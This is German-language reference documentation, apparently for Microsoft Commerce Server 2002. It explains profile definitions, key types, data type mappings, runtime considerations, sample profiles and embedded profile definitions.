    Wenn das Attribut sDisplayColumn für eine Profildefinition nicht eingerichtet ist, kann Commerce Server Business Desk die Profile nicht auf dem Bildschirm Suchen des Moduls "Profil-Editor" anzeigen. Außerdem können die Profile dann nicht bearbeitet werden.

  • Das Attribut sFriendlyName legt fest, welche Eigenschaft als am weitesten links stehende Spalte auf dem Bildschirm Suchen im Modul "Profil-Editor" sowie in der Titelleiste des Bildschirms Profil bearbeiten: Anzeigename im Modul "Profil-Editor" angezeigt wird. Informationen über benutzerdefinierte Attribute und über das Hinzufügen dieser Attribute zu einer Profildefinition finden Sie unter Hinzufügen von Eigenschaften zu einer Profildefinition.

Wenn Sie die benutzerdefinierten Attribute sDisplayColumn und sFriendlyName für eine bestimmte Profildefinition festlegen, passen Sie den Profil-Editor für die Arbeit mit Profilen an, die mit dieser Profildefinition erstellt wurden. Sie können den Profil-Editor auch so anpassen, dass er mit einer unbegrenzten Anzahl von Profildefinitionen (die einzige Beschränkung bilden die vorhandenen Systemressourcen) arbeitet. Informationen über das Einrichten der benutzerdefinierten Attribute sDisplayColumn und sFriendlyName finden Sie unter Hinzufügen von Eigenschaften zu einer Profildefinition.


Profilstruktur

Ein Profil ist eine einzelne Instanz einer Profildefinition, in der die von der Profildefinition gesammelten Daten enthalten sind.

Jedes Profil basiert auf einer einzelnen Profildefinition. Sie können Profildefinitionen einbetten, um Profile zu erstellen, die aufeinander verweisen. So können Sie beispielsweise durch Hinzufügen einer Profildefinition Adresse zur Profildefinition Benutzerobjekt eine Adresse für einen Benutzer erfassen, und der Benutzer kann auf die Adresse verweisen. Mithilfe des Moduls "Profildefinitions-Designer" in Commerce Server Business Desk können Sie Profildefinitionen bearbeiten und verwalten.

Die folgende Tabelle zeigt ein Beispiel der Profildefinition Benutzerobjekt mit einer einzelnen Instanz dieser Profildefinition, die Daten über die Benutzerin Cornelia Kunze enthält.

Profildefinition: Benutzerobjekt | Profil: Cornelia Kunze
Vorname | Cornelia
Nachname | Kunze
Ort | München
Geschlecht | W
Alter | 52
E-Mail-Adresse | corneliakunze@microsoft.de

Ein Commerce Server-Profil hat die folgenden Bestandteile:

  • Profildefinition. Enthält eine Beschreibung der Daten, die für den jeweiligen Profiltyp zusammengestellt werden sollen. Aus einer einzigen Profildefinition lassen sich mehrere Profile erstellen. Die Profildefinition Benutzerobjekt kann beispielsweise verwendet werden, um ein Profil für jeden Benutzer zu erstellen, der sich in Ihrer Site registriert. Systemadministratoren erstellen Profildefinitionen unter Verwendung der Profilressource in Commerce Server-Manager.
  • Profileigenschaft. Bestimmt die Profildaten, die zusammengestellt werden, wenn ein Besucher Ihre Website besucht. So legt die Eigenschaft Vorname z. B. fest, dass der Vorname des Benutzers erfasst werden soll. Mit dem Business Desk-Modul "Profildefinitions-Designer" können Sie Profileigenschaften zu Profildefinitionen hinzufügen.
  • Profilattribut. Legt Informationen über eine Profileigenschaft wie den Datentyp der Eigenschaft fest (z. B. Zahl, Zeichenfolge, Dezimal und Sitebegriff).


Profildefinitionen

Eine Profildefinition ist eine Gruppe von Eigenschaften, die ein beliebiges geschäftsbezogenes Element definiert, beispielsweise einen Benutzer, ein Unternehmen oder einen Geschäftsprozess. Falls Ihre Site mithilfe einer Lösungssite erstellt wurde, sollten Sie über die fünf folgenden Beispielprofildefinitionen verfügen:

  • Adresse
  • Pauschalbestellungen
  • Organisation
  • Zielgruppenadressierungs-Kontext
  • Benutzerobjekt

Erstellen Sie zusätzliche Profildefinitionen für Ihre Site gemeinsam mit Ihrem Systemadministrator.

Angenommen, Sie fordern eine neue Profildefinition namens "Musik" an und möchten die folgenden Profileigenschaften speichern: "Erstes Konzert", "Letztes Konzert", "Lieblings-CD" sowie zwei weitere, noch nicht festgelegte Eigenschaften.

Der Systemadministrator erstellt die neue Profildefinition Musik, die fünf Eigenschaften besitzt, von denen Sie drei bereits kennen und zwei zu einem späteren Zeitpunkt hinzufügen werden. Außerdem erweitert der Systemadministrator Ihre Profildatenbank, indem er genügend Spalten hinzufügt, in denen die mit den fünf Eigenschaften der Profildefinition Musik gesammelten Daten gespeichert werden können.

Nachdem der Systemadministrator die Profildefinition erstellt und die Profildatenbank erweitert hat, haben Sie folgende Möglichkeiten:

  • Verwenden des Moduls "Profildefinitions-Designer" zum Hinzufügen der ersten drei Eigenschaften und Verändern der Attribute der hinzugefügten Profileigenschaften.
  • Zuordnen der drei Profileigenschaften mit drei durch den Systemadministrator festgelegten Datenelementen zu den entsprechenden Spalten der Datenbank.

Hinweis

  • Der Systemadministrator kann diese Tasks mit dem Commerce Server Business Desk bzw. dem Commerce Server-Manager ausführen.

Wenn Sie zu einem späteren Zeitpunkt weitere Informationen sammeln möchten, die zur Profildefinition Musik gehören, können Sie mit dem Modul "Profildefinitions-Designer" die restlichen beiden Eigenschaften hinzufügen und den vom Systemadministrator erstellten Datenbankspalten zuordnen.

Siehe auch

Schlüssel für Profildefinitionen

Hinzufügen von Eigenschaften zu einer Profildefinition

Hinzufügen von Eigenschaften, mit denen Sitebegriffe zugeordnet werden

Löschen von Eigenschaften aus einer Profildefinition

Einbetten einer Profildefinition


Schlüssel für Profildefinitionen

Sie müssen für jede gültige Profildefinition mindestens einen Schlüssel definieren. Ob es sich um einen eindeutigen Schlüssel bzw. einen Primär-, Verbindungs- oder Hashschlüssel handelt, können Sie feststellen, indem Sie im Abschnitt Erweiterte Attribute des Moduls "Profildefinitions-Designer" von Business Desk oder im Abschnitt Erweiterte Attribute der ausgewählten Eigenschaft der Profildefinition im Commerce Server-Manager die Typeigenschaft Schlüssel überprüfen. In diesem Abschnitt wird beschrieben, wie die folgenden Schlüssel definiert werden:

  • Eindeutige Schlüssel
  • Primärschlüssel
  • Verbindungsschlüssel
  • Hashschlüssel

Eindeutiger Schlüssel

Wenn eine Profildefinitionseigenschaft als Schlüssel markiert ist, ist das dazugehörige Attribut Eindeutiger Schlüssel aktiviert. Nur Eigenschaften mit dem Datentyp string oder numeric können als Schlüssel markiert werden. Profildefinitionen können eine beliebige Anzahl von Schlüsseln enthalten, wobei es aus Leistungs- und Speichergründen besser ist, möglichst wenige Schlüssel zu verwenden.

Alle Hauptvorgänge der Profilobjektverwaltung im Profilsystem (CreateProfile, GetProfile, GetProfileByKey, DeleteProfile, DeleteProfileByKey) funktionieren nur mit Schlüsselelementen. Das Profilsystem bietet nicht die Gewährleistung, dass Eigenschaften, die als eindeutige Schlüssel markiert sind, tatsächlich eindeutig sind. Stattdessen sind Beschränkungen für Objekte in den zu Grunde liegenden Datenspeichern (Tabellen für relationale Datenbanken oder Klassen für Verzeichnisspeicher) erforderlich, um die Eindeutigkeit implizit zu erzwingen.

Primärschlüssel

Jede Profildefinition muss genau eine als eindeutiger Schlüssel eingerichtete Eigenschaft enthalten, die als Primärschlüssel markiert ist. Die Profileigenschaft, die am häufigsten in Profilobjektinstanzen verwendet wird, muss als Primärschlüssel markiert werden.

Ein Primärschlüssel ist durch ein rotes "P" oder ein grünes "D" (bei dualen Primär- und Verbindungsschlüsseln) gekennzeichnet, das der Eigenschaft im Modul "Profildefinitions-Designer" von Business Desk oder in der Profildefinition der Profilressource des Commerce Server-Managers vorangestellt ist.

Verbindungsschlüssel

Jede Profildefinition muss genau eine eindeutige Schlüsseleigenschaft enthalten, die als Verbindungsschlüssel markiert ist. Optimale Ergebnisse erzielen Sie, wenn Sie den Primärschlüssel in der Profildefinition auch als Verbindungsschlüssel markieren. Wenn Sie beim Erstellen des Profilobjekts für die Verbindungsschlüsseleigenschaft keinen Wert angeben, erstellt das Profilsystem automatisch einen Wert für dieses Element.

Ein Verbindungsschlüssel ist durch ein blaues "J" oder ein grünes "D" (bei dualen Primär- und Verbindungsschlüsseln) gekennzeichnet, das der Eigenschaft im Modul "Profildefinitions-Designer" von Business Desk oder in der Profildefinition der Profilressource des Commerce Server-Managers vorangestellt ist. Das Profilsystem stellt mithilfe der Verbindungsschlüsseleigenschaft Profilobjektfragmente zusammen, die in mehreren Datenspeichern abgelegt sind. Die Werte der Verbindungsschlüsseleigenschaft werden in allen Datenspeichern repliziert.

Hinweis

  • Nachdem für die Verbindungsschlüsseleigenschaft in den zu Grunde liegenden Speichern ein Commit ausgeführt wurde, kann diese Eigenschaft nicht mehr aktualisiert werden.

Hashschlüssel

Jede Profildefinition kann eine eindeutige Schlüsseleigenschaft enthalten, die als Hashschlüssel markiert ist. Die Profilaggregationsebene verwendet die Hashschlüsseleigenschaft, um ein Profilobjekt in eine eindeutige Partition innerhalb einer Datenressource zu hashen. Das Vorhandensein einer Hashschlüsseleigenschaft ist die einzige Möglichkeit, anzuzeigen, dass Instanzen einer Profildefinition in mehreren Partitionen einer Datenquelle gespeichert werden. Wenn diese Eigenschaft fehlt, werden alle Profilinstanzen in der Standardpartition gespeichert.

Markieren Sie den Verbindungsschlüssel in der Profildefinition als Hashschlüssel. Die optimale Leistung wird erzielt, wenn Sie ein und dieselbe Eigenschaft als Primärschlüssel, Verbindungsschlüssel und Hashschlüssel markieren.

Ob es sich um einen Hashschlüssel handelt, können Sie feststellen, indem Sie den Eintrag Erweiterte Attribute/Hashschlüssel des Moduls "Profildefinitions-Designer" von Business Desk oder die Profildefinition der Profilressource im Commerce Server-Manager überprüfen.

Hinweis

  • Nachdem für das Profilobjekt in den zu Grunde liegenden Speichern ein Commit ausgeführt wurde, kann der Wert für die Hashschlüsseleigenschaft nicht mehr aktualisiert werden.

Wichtig

Bei partitioniertem ANSI SQL-Speicher können Profilobjektabrufvorgänge, die auf einem Nicht-Hashschlüssel und der Methode GetInfo des Objekts ProfileObject beruhen, möglicherweise fehlschlagen. Dies gilt jedoch nicht für die mit LDAP Version 3 kompatiblen Speicher.

In der folgenden Abbildung sind das Dropdownfeld Schlüsseltyp und das Kontrollkästchen Hashschlüssel rot hervorgehoben.


Überlegungen zum Design des Profilsystems

In diesem Abschnitt werden folgende Aspekte zum Entwerfen von effektiven Profildefinitionen beschrieben:

  • Schlüssel
  • Empfohlene Datentypzuordnungen
  • Weitere Überlegungen

Schlüssel

Durch die richtige Auswahl von Schlüsselelementen kann die Leistung des Profilsystems optimiert werden. Beantworten Sie die folgenden Fragen, um Schlüssel in der Profildefinition effektiv zu definieren. Suchen Sie anschließend mithilfe der Tabelle die entsprechende Richtlinie:

  • Frage 1: Soll die Primärschlüsseleigenschaft aktualisierbar sein, nachdem für das Objekt in den zu Grunde liegenden Speichern ein Commit ausgeführt wurde?
  • Frage 2: Sollen die Daten innerhalb einer Datenquelle partitioniert werden?
Richtlinie | Frage 1 | Frage 2
Verwenden Sie dieselbe Eigenschaft wie der Primärschlüssel und der Verbindungsschlüssel. | Nein | Nein
Verwenden Sie dieselbe Eigenschaft wie der Primärschlüssel, der Verbindungsschlüssel und der Hashschlüssel. Bei dieser Konfiguration wird die Leistung der Profilsystemvorgänge in partitionierten Szenarien optimiert. | Nein | Ja
Verwenden Sie nicht dieselbe Eigenschaft wie der Primärschlüssel und der Verbindungsschlüssel. | Ja | Nein
Verwenden Sie nicht dieselbe Eigenschaft wie der Primärschlüssel und der Verbindungsschlüssel. Verwenden Sie jedoch dieselbe Eigenschaft wie der Verbindungsschlüssel und der Hashschlüssel. Diese Konfiguration ermöglicht eine optimale Leistung für Profilobjektvorgänge, die auf Nicht-Hashschlüsseleigenschaften (oder Nicht-Verbindungsschlüsseleigenschaften) beruhen. | Ja | Ja

Empfohlene Datentypzuordnungen

Die folgenden Tabellen enthalten die empfohlenen Zuordnungen zwischen Profilsystemdatentypen und den Datentypen, die von SQL Server, Oracle, Active Directory und Membership Directory unterstützt werden.

ANSI SQL-Speicher

Profilsystemdatentyp | SQL Server-Datentyp | Oracle-Datentyp
BOOL | smallint | number
NUMBER | int | number
FLOAT | float | number
STRING/PROFILE/PASSWORD/ SITETERM | nvarchar | nvarchar2
CURRENCY | money | number
DATETIME/DATE/TIME | datetime | date
BINARY | varbinary | raw
LONGTEXT | ntext | nclob
IMAGE | image | blob

LDAP-v3-Speicher

Profilsystemdatentyp | Active Directory-Datentyp | Membership Directory-Datentyp
BOOL | boolean | integer
NUMBER | integer | integer
STRING/PROFILE/PASSWORD/ SITETERM | string (Unicode) | UnicodeString
CURRENCY | LargeInteger | integer
DATETIME | string (GeneralizedTime) | generalizedTime
BINARY | string (Octet) | binary
LONGTEXT | string (Unicode) | UnicodeString
IMAGE | string (Octet) | binary

Hinweis

  • Bei ANSI SQL-Speicher unterstützt das Profilsystem mehrere Werte nur für den Datentyp string. Bei LDAP-v3-Speicher unterstützt das Profilsystem mehrere Werte für alle Datentypen mit Ausnahme von longtext und image.

Weitere Überlegungen

In der folgenden Tabelle werden weitere Aspekte beschrieben, die Sie beim Definieren effektiver Profildefinitionen beachten sollten.

Überlegung zum Design | Aktion
Einschränkungen für WHERE-Klauseln | Bei OLE DB Provider für Commerce Server müssen alle Eigenschaften in der WHERE-Klausel von Abfragen, die übertragen wurden, demselben zu Grunde liegenden Speicher zugeordnet sein. Diese Einschränkung kommt zum Tragen, wenn Sie Profildefinitionen entwerfen, die Daten in mehreren Datenobjekten aggregieren.
Einschränkungen bezüglich der Datengröße | Eine detaillierte Beschreibung der einzelnen Datentypen, die vom Profilsystem angezeigt werden, finden Sie unter dem Thema "Komponenten von Profildefinitionen", das sich in der Hilfe zu Commerce Server 2002 im Pfad "Verwalten von Commerce Server/Ausführen der Profilressource/Informationen zur Profilressource/Profildefinitionen/" befindet.
Gültige Zeichen in Objektnamen | Namen von Profildefinitionsobjekten wie ProfileDefinitionName, ProfilePropertyName usw. können nur alphanumerische Zeichen und den Unterstrich (_) enthalten.


Überlegungen zur Laufzeit des Profilsystems

In diesem Abschnitt werden folgende Aspekte zur Laufzeit des Profilsystems beschrieben:

  • CSOLEDB-Handles
  • Zugreifen auf Eigenschaften
  • Transaktionsunterstützung
  • Überprüfung der Datengröße

CSOLEDB-Handles

Handles müssen im Profilsystem und in OLE DB Provider für Commerce Server immer im Anwendungsbereich gespeichert werden. Diese Vorgehensweise empfiehlt sich, weil die CSOLEDB-Handles so konzipiert sind, dass sie ein Objekt ein Mal in der Datei Global.asa erstellen, das erstellte Objekt im Anwendungsbereich speichern und dann auf jeder ASP-Seite verwenden. Durch die CSOLEDB-Handles werden die Parallelitätsprobleme koordiniert, die bei der gleichzeitigen Bearbeitung mehrerer Abfragen auftreten. Gleichzeitig ermöglichen sie durch die Verwaltung der Fehlertoleranz von Verbindungen zu Grunde liegenden Speichern eine verlässliche Abfragebearbeitung.

Zugreifen auf Eigenschaften

Das Profilsystem bietet mehrere Möglichkeiten für den Zugriff auf Profilobjekteigenschaften. Bei den beiden folgenden Beispielen wird auf unterschiedliche Weise auf die Eigenschaft GeneralInfo.user_id eines ProfileObject-Objekts mit der Bezeichnung oUser zugegriffen:

  • Zugriff unter Verwendung der Standardnotation von Microsoft ActiveX Data Objects (ADO):
    oUser.Fields.Item("GeneralInfo").Value.Item("user_id").Value
oUser.Fields("GeneralInfo").Value("user_id").Value
  • Zugriff unter Verwendung der erweiterten punktierten Notation:
    oUser.Fields("GeneralInfo.user_id"
  • Zugriff unter Verwendung der intelligenten Verteilungsnotation:
    oUser.GeneralInfo.user_id

Der Leistungsunterschied bei diesen Optionen ist zu vernachlässigen.

Transaktionsunterstützung

Das Profilsystem führt standardmäßig keine Vorgänge über mehrere Datenspeicher hinweg aus. Das bedeutet, dass die Ausführung von Zwei-Phasen-Commitprotokollen über mehrere Transaktionsdatenspeicher hinweg nicht unterstützt wird.

Das Profilsystem bietet unverbindliche Unterstützung für Transaktionen. Die Datenaggregatebene vergleicht die Datenspeichervorgänge INSERT, UPDATE und DELETE, die bei einer Transaktion über mehrere Speicher hinweg aggregieren, und führt ein Commit erst aus, nachdem alle Datenspeichervorgänge gegenüber Nicht-Transaktionsdatenspeichern erfolgreich waren (z. B. Verzeichnisspeicher).

Sie können die unverbindliche Unterstützung aktivieren, indem Sie in der Profildefinition ein benutzerdefiniertes Attribut mit der Bezeichnung IsTransactioned erstellen und dieses auf "True" setzen. Wenn dieses Attribut nicht vorhanden oder auf "False" gesetzt ist, ist dieses Feature deaktiviert.

Überprüfung der Datengröße

Das Profilsystem führt keine Überprüfung der Datengröße aus. Das Ausführen der Überprüfung hängt von dem zu Grunde liegenden Datenspeicher ab.


Beispielprofildefinitionen

Die Commerce Server-Lösungssites enthalten fünf Beispielprofildefinitionen. Falls Ihre Site mithilfe einer Lösungssite erstellt wurde, sollten Sie über die fünf in der folgenden Tabelle aufgeführten Profildefinitionen und ihre Eigenschaften verfügen.

Profildefinition | Eigenschaften (Datentyp) | Aktion
Adresse | Adressen-ID (Zeichenfolge) | Adressenbezeichner
 | Organisations-ID (Zeichenfolge) | Verweis auf ein Organisationsprofil
 | Nachname (Zeichenfolge) | Nachname des Benutzers
 | Vorname (Zeichenfolge) | Vorname des Benutzers
 | Adressenname (Zeichenfolge) | Name für diese Adresse
 | Adresstyp (Nummer) | Adresse/Lieferadresse/Rechnungsadresse
 | Beschreibung (Zeichenfolge) | Beschreibung für diese Adresse
 | Adresszeile 1 (Zeichenfolge) | Erste Zeile der Adresse
 | Adresszeile 2 (Zeichenfolge) | Zweite Zeile der Adresse
 | Ort (Zeichenfolge) | Ortsname
 | Code für Bundesland/Kanton (Zeichenfolge) | Code für Bundesland/Kanton
 | Name des Bundeslandes/Kantons (Zeichenfolge) | Name des Bundeslandes/Kantons
 | PLZ (Zeichenfolge) | PLZ
 | Länder-/Regionalcode (Zeichenfolge) | ISO-Code für Land/Region
 | Land/Region (Zeichenfolge) | Land/Region
 | Rufnummer (Zeichenfolge) | Rufnummer für diese Adresse
 | Durchwahl (Zeichenfolge) | Durchwahl für diese Adresse
 | Gebietsschema-ID (Zahl) | Gebietsschema, in das das Adressformular zu rendern ist
 | Geändert von (Zeichenfolge) | Name der Person, die dieses Profil zuletzt geändert hat
 | Zuletzt geändert am (Datum/Uhrzeit) | Datum, an dem dieses Profil zuletzt geändert wurde
 | Erstellt am (Datum/Uhrzeit) | Datum, an dem dieses Profil erstellt wurde
Pauschalbestellungen | Bestell-ID (Zeichenfolge) | Global eindeutiger Bezeichner (GUID), der auf die Pauschalbestellung verweist
 | Organisations-ID (Zeichenfolge) | Verweis auf ein Organisationsprofil
 | Bestellnummer (Zeichenfolge) | Pauschalbestellungsnummer
 | Beschreibung (Zeichenfolge) | Beschreibung der Bestellung
 | Geändert von (Zeichenfolge) | Name der Person, die dieses Profil zuletzt geändert hat
 | Zuletzt geändert am (Datum/Uhrzeit) | Datum, an dem dieses Profil zuletzt geändert wurde
 | Erstellt am (Datum/Uhrzeit) | Datum, an dem dieses Profil erstellt wurde
Organisation | Organisations-ID (Zeichenfolge) | Organisations-ID
 | Name (Zeichenfolge) | Name der Organisation
 | Nummer des Handelspartners (Zeichenfolge) | Nummer des Handelspartners
 | Administrativer Kontakt (Zeichenfolge) | Verweis auf ein Benutzerobjektprofil für den administrativen Kontakt
 | Empfänger (Zeichenfolge) | Verweis auf ein Benutzerobjektprofil für den Empfänger
 | Organisationskatalogsatz (Zeichenfolge) | Organisationskatalogsatz
 | Geändert von (Zeichenfolge) | Name der Person, die dieses Profil zuletzt geändert hat
 | Einkaufs-Manager (Zeichenfolge) | Benutzer-ID des Einkaufs-Managers der Käuferorganisation
 | Zuletzt geändert am (Datum/Uhrzeit) | Datum, an dem dieses Profil zuletzt geändert wurde
 | Erstellt am (Datum/Uhrzeit) | Datum, an dem dieses Profil erstellt wurde
Benutzerobjekt | Benutzer-ID (Zeichenfolge) | Benutzer-ID
 | Anmeldename (Zeichenfolge) | Anmeldename
 | Benutzerkennwort (Kennwort) | Benutzerkennwort
 | E-Mail (Zeichenfolge) | E-Mail-Adresse des Benutzers
 | Benutzertyp (Nummer) | Benutzertyp
 | Benutzertitel (Zeichenfolge) | Benutzertitel
 | Nachname (Zeichenfolge) | Nachname des Benutzers
 | Vorname (Zeichenfolge) | Vorname des Benutzers
 | Rufnummer (Zeichenfolge) | Rufnummer des Benutzers
 | Durchwahl (Zeichenfolge) | Durchwahl des Benutzers
 | Faxnummer (Zeichenfolge) | Faxnummer des Benutzers
 | Faxdurchwahl (Zeichenfolge) | Faxdurchwahl des Benutzers
 | Geändert von (Zeichenfolge) | Name der Person, die dieses Profil zuletzt geändert hat
 | Standardsprache | Standardsprache
 | Organisations-ID (Zeichenfolge) | Organisations-ID
 | Kontostatus (Zahl) | Kontostatus
 | Benutzerkatalogsatz (Zeichenfolge) | Benutzerkatalogsatz
 | Registriert am (Datum/Uhrzeit) | Registrierungsdatum des Benutzers
 | Kampagnenverlauf (Zeichenfolge) | Kampagnenverlauf
 | Flags für die Partnerservicerolle (Zahl) | Partnerservicerolle
 | Zuletzt geändert am (Datum/Uhrzeit) | Datum, an dem dieses Profil zuletzt geändert wurde
 | Erstellt am (Datum/Uhrzeit) | Datum, an dem dieses Profil erstellt wurde
Zielgruppenadressierungs-Kontext | Seitengruppe (Zeichenfolge) | Name der Seitengruppe (z. B. "Sportseiten")

In der Profildefinition Benutzerobjekt sind fünf ungenutzte Datenelemente und fünf ungenutzte Datenbankspalten enthalten, sodass Sie der Profildefinition Benutzerobjekt bis zu fünf Eigenschaften hinzufügen und zuordnen können, ohne den Systemadministrator um die Erweiterung der Datenbank bitten zu müssen.

Siehe auch

Hinzufügen von Eigenschaften zu einer Profildefinition

Hinzufügen von Eigenschaften, mit denen Sitebegriffe zugeordnet werden

Löschen von Eigenschaften aus einer Profildefinition

Einbetten einer Profildefinition


Eingebettete Profildefinitionen

Sie können eine Beziehung zwischen zwei Profildefinitionen erstellen, indem Sie eine Profildefinition in eine andere einbetten. Auf der Grundlage dieser Beziehung werden Profile erstellt, die miteinander verbunden sind. Sie können bis zu vier Ebenen von eingebetteten Profildefinitionen erstellen, um die Auslastung von Clientressourcen zu beschränken. Siteentwickler können mehr als vier Ebenen konfigurieren.

Eingebettete Profildefinitionen bieten folgende Möglichkeiten:

  • Einbetten einer Profildefinition je Profileigenschaft.
  • Erstellen mehrerer Eigenschaften, die innerhalb einer Profildefinition als eingebettete Profildefinitionen definiert sind.
  • Definieren einer Eigenschaft vom Typ Profil als mehrwertig, um mehrere Instanzen der Profildaten mit dieser Eigenschaft zu erfassen.
  • Definieren einer Eigenschaft vom Typ Profil als einwertig, um nur eine Instanz der Profildaten mit dieser Eigenschaft zu erfassen.

Sie können beispielsweise der Profildefinition Organisation mit dem Namen Mitarbeiter eine mehrwertige Eigenschaft zuweisen und die Profildefinition Benutzerobjekt als Typverweis für die Eigenschaft Mitarbeiter verwenden. Mithilfe dieser Struktur können Sie die Profildaten aller Mitarbeiter in einer Organisation erfassen.

Mehrere Werte für eine Profileigenschaft werden in der zugeordneten Datenbankspalte als Zeichenfolgen gespeichert, die durch Semikolons (;) voneinander getrennt sind.

Damit Sie ein Benutzerprofil Organisation suchen und aktualisieren können, müssen Sie den Benutzerprofilen, die mit der Eigenschaft Mitarbeiter erstellt wurden, in der Profildefinition Organisation den Namen der Organisation hinzufügen.

Wenn Sie der Profildefinition Benutzerobjekt eine einwertige Eigenschaft mit der Bezeichnung Adresse hinzufügen (wobei die Profildefinition Adresse der Typverweis ist), können Sie für jede Gruppe von Benutzerdaten, die Sie mit der Eigenschaft Mitarbeiter in der Profildefinition Organisation sammeln, eine Adresse erfassen. Sie können bis zu vier Ebenen von Profilen bearbeiten.

Wenn Sie bestimmte Varianten desselben Datentyps sammeln (beispielsweise Liefer- und Rechnungsadressen für jeden Benutzer), erstellen Sie für jeden Adresstyp eine Profildefinition. Dadurch können Sie beim Zugreifen auf die Adressen im Benutzerprofil leichter erkennen, welche Adresse Sie bearbeiten.

Nachdem Sie die Profildefinition aktualisiert und die Profildefinitionsinformationen in der Website mithilfe des Moduls "Profile veröffentlichen" aktualisiert haben, kann der Entwickler der Website mit der Methode GetProfile oder GetProfileByKey die Objekte ProfileObject abfragen, die dem angegebenen Primärschlüsselwert und Schematyp der eingebetteten Profildefinitionen Adresse entsprechen, und der Website die Eigenschaften der Profildefinition Adresse hinzufügen.

Nachdem die Profildefinition Adresse der Website hinzugefügt wurde, können Sie die in den Adresseigenschaften des Benutzerprofils von den zugeordneten Adressprofilen gesammelten Primärschlüssel verwenden, um die Adressprofildaten mit den zugeordneten Benutzerprofildaten anzuzeigen.

Einbetten der Profildefinition "Adresse" und der Profildefinition "Benutzerobjekt"

Profildefinitionen werden eingebettet, um eine Beziehung zwischen zwei Profilen herzustellen. Sie können beispielsweise eine Beziehung zwischen der Profildefinition Adresse und der Profildefinition Benutzerobjekt erstellen. Es gibt zwei Möglichkeiten, die Profildefinition Benutzerobjekt für das Sammeln von Adressinformationen zu erweitern:

  • Einbetten der Profildefinition Adresse in die Profildefinition Benutzerobjekt
  • Hinzufügen von Profileigenschaften Adresse zur Profildefinition Benutzerobjekt

Die folgende Tabelle zeigt eine Beziehung, die durch Einbetten der Profildefinition Adresse in die Profildefinition Benutzerobjekt erstellt wurde. Wenn die Benutzerin Cornelia Kunze diese Adressinformationen ausfüllt, wird der Primärschlüssel des ihr zugeordneten Adressprofils zur Eigenschaft Rechnungsadresse ihres Benutzerprofils. (Siehe Text in Fettschrift.)

Eigenschaft der Profildefinition "Benutzerobjekt" | Wert für Eigenschaft in Benutzerprofil | Eigenschaft der Profildefinition "Adresse" | Wert für Eigenschaft in Adressprofil
Name | CorneliaKunze | Adressen-ID | Adresse.CorneliaKunze
Rechnungsadresse (eingebettete Profildefinition Adresse) | Adresse.CorneliaKunze | Straße | Hauptstraße 4567

Wenn Sie die Profildefinition Adresse in die Profildefinition Benutzerobjekt einbetten, stellen Sie für jeden Benutzer, der sich in Ihrer Website registriert und Adressinformationen eingibt, eine Beziehung zwischen einem Benutzerprofil und einem Adressprofil her.

Sie können in eine einzelne Profildefinition mehrere Profildefinitionen einbetten und auf diese Weise problemlos mehrere Adressen eines jeden Benutzers erfassen, beispielsweise Liefer- und Rechnungsadresse. Mit einer eingebetteten Profildefinition können Sie außerdem eine Eigenschaft als mehrwertig definieren, um mehrere Versionen der Profildaten mit dieser Eigenschaft zu erfassen.

Informationen zum Einbetten von Profildefinitionen finden Sie unter Einbetten einer Profildefinition.

Siehe auch

Hinzufügen von Eigenschaften zu einer Profildefinition

Hinzufügen von Eigenschaften, mit denen Sitebegriffe zugeordnet werden

Löschen von Eigenschaften aus einer Profildefinition

Einbetten einer Profildefinition


Profileigenschaften

Nachdem der Systemadministrator die Profildefinition erstellt hat, können Sie mithilfe des Moduls "Profildefinitions-Designer" von Business Desk Profileigenschaften hinzufügen.

Diese Profileigenschaften bestimmen, welche Informationen in einem Profil zusammengestellt werden. In der Profildefinition Benutzerobjekt könnten beispielsweise folgende Eigenschaften enthalten sein: Vorname, Nachname, Ort, Geschlecht, Alter und E-Mail-Adresse. Sie können verwandte Profileigenschaften in Gruppen organisieren.

Die folgende Abbildung zeigt die Bestandteile einer Beispielprofildefinition Benutzerobjekt.

Abbildung einer Beispielprofildefinition.

Sie können folgende Typen von Profileigenschaften erstellen:

Hinweis

  • Commerce Server 2002 unterstützt Unicode (außer Ersatzschlüsseln).
Eigenschaftstyp | Beschreibung der Eigenschaft
Zeichenfolge | Speichert bis zu 4.000 Zeichen. Die Eigenschaften von Zeichenfolge werden den Datenelementen von Zeichenfolge zugeordnet.
Lange Zeichenfolge | Speichert bis zu 2 hoch 17 (217) Zeichen. Die Eigenschaften von Lange Zeichenfolge werden den Datenelementen von Zeichenfolge zugeordnet.
Zahl | Speichert Ganzzahlen. Die Maximallänge der Eigenschaft Zahl wird vom Datenspeicher festgelegt. Die Eigenschaften von Zahl werden den Datenelementen von Zahl zugeordnet.
Dezimal | Speichert Gleitkommazahlen. Die Maximallänge der Eigenschaft Dezimal wird vom Datenspeicher festgelegt. Die Eigenschaften von Dezimal werden den Datenelementen von Zahl zugeordnet.
Boolesch | Speichert einen von zwei Werten (z. B. Wahr/Falsch, Ja/Nein oder 1/0). Die Eigenschaften von Boolesch werden den Datenelementen von Boolesch zugeordnet.
Binärwert | Speichert binäre Daten bis zu einer Größe von 4 KB. Die Eigenschaften von Binärwert werden den Datenelementen von Binärwert zugeordnet.
Langer Binärwert | Speichert Inhalt wie z. B. Kalkulationstabellen, Dokumente, Grafiken und Audioclips bis zu einer Größe von 128 KB. Die Eigenschaften von Langer Binärwert werden den Datenelementen von Langer Binärwert zugeordnet.
Datum/Uhrzeit | Ein zusammengesetzter Wert für Datum und Uhrzeit. Das verwendete Format und die Maximallänge werden vom Datenspeicher festgelegt. Die Eigenschaften von Datum/Uhrzeit werden den Datenelementen von Datum/Uhrzeit zugeordnet.
Datum | Enthält Datumswerte im Bereich von 1/1/1950 bis 12/31/2049. Das verwendete Format und die Maximallänge werden vom Datenspeicher festgelegt. Die Eigenschaften von Datum werden den Datenelementen von Datum zugeordnet.
Uhrzeit | Enthält Werte für Uhrzeitangaben in Stunden, Minuten, Sekunden und Millisekunden. Das verwendete Format und die Maximallänge werden vom Datenspeicher festgelegt. Die Eigenschaften von Uhrzeit werden den Datenelementen von Datum/Uhrzeit zugeordnet.
Währung | Akzeptiert Zahlen im Währungsformat. Das verwendete Währungsformat und die Maximallänge werden vom Datenspeicher festgelegt. Die Eigenschaften von Währung werden den Datenelementen von Währung zugeordnet.
Kennwort | Akzeptiert Text. Die Eigenschaft wird von der Profilressource wie eine Zeichenfolge behandelt. Commerce Server Business Desk zeigt den in einer Kennworteigenschaft gespeicherten Wert als Sternchen (*) an. Um Datenverlust zu verhindert, ersetzen Sie immer das gesamte Kennwort. Kennworteigenschaften werden Datenelementen vom Typ Zeichenfolge zugeordnet und haben eine Maximallänge von 255 Unicode-Zeichen.
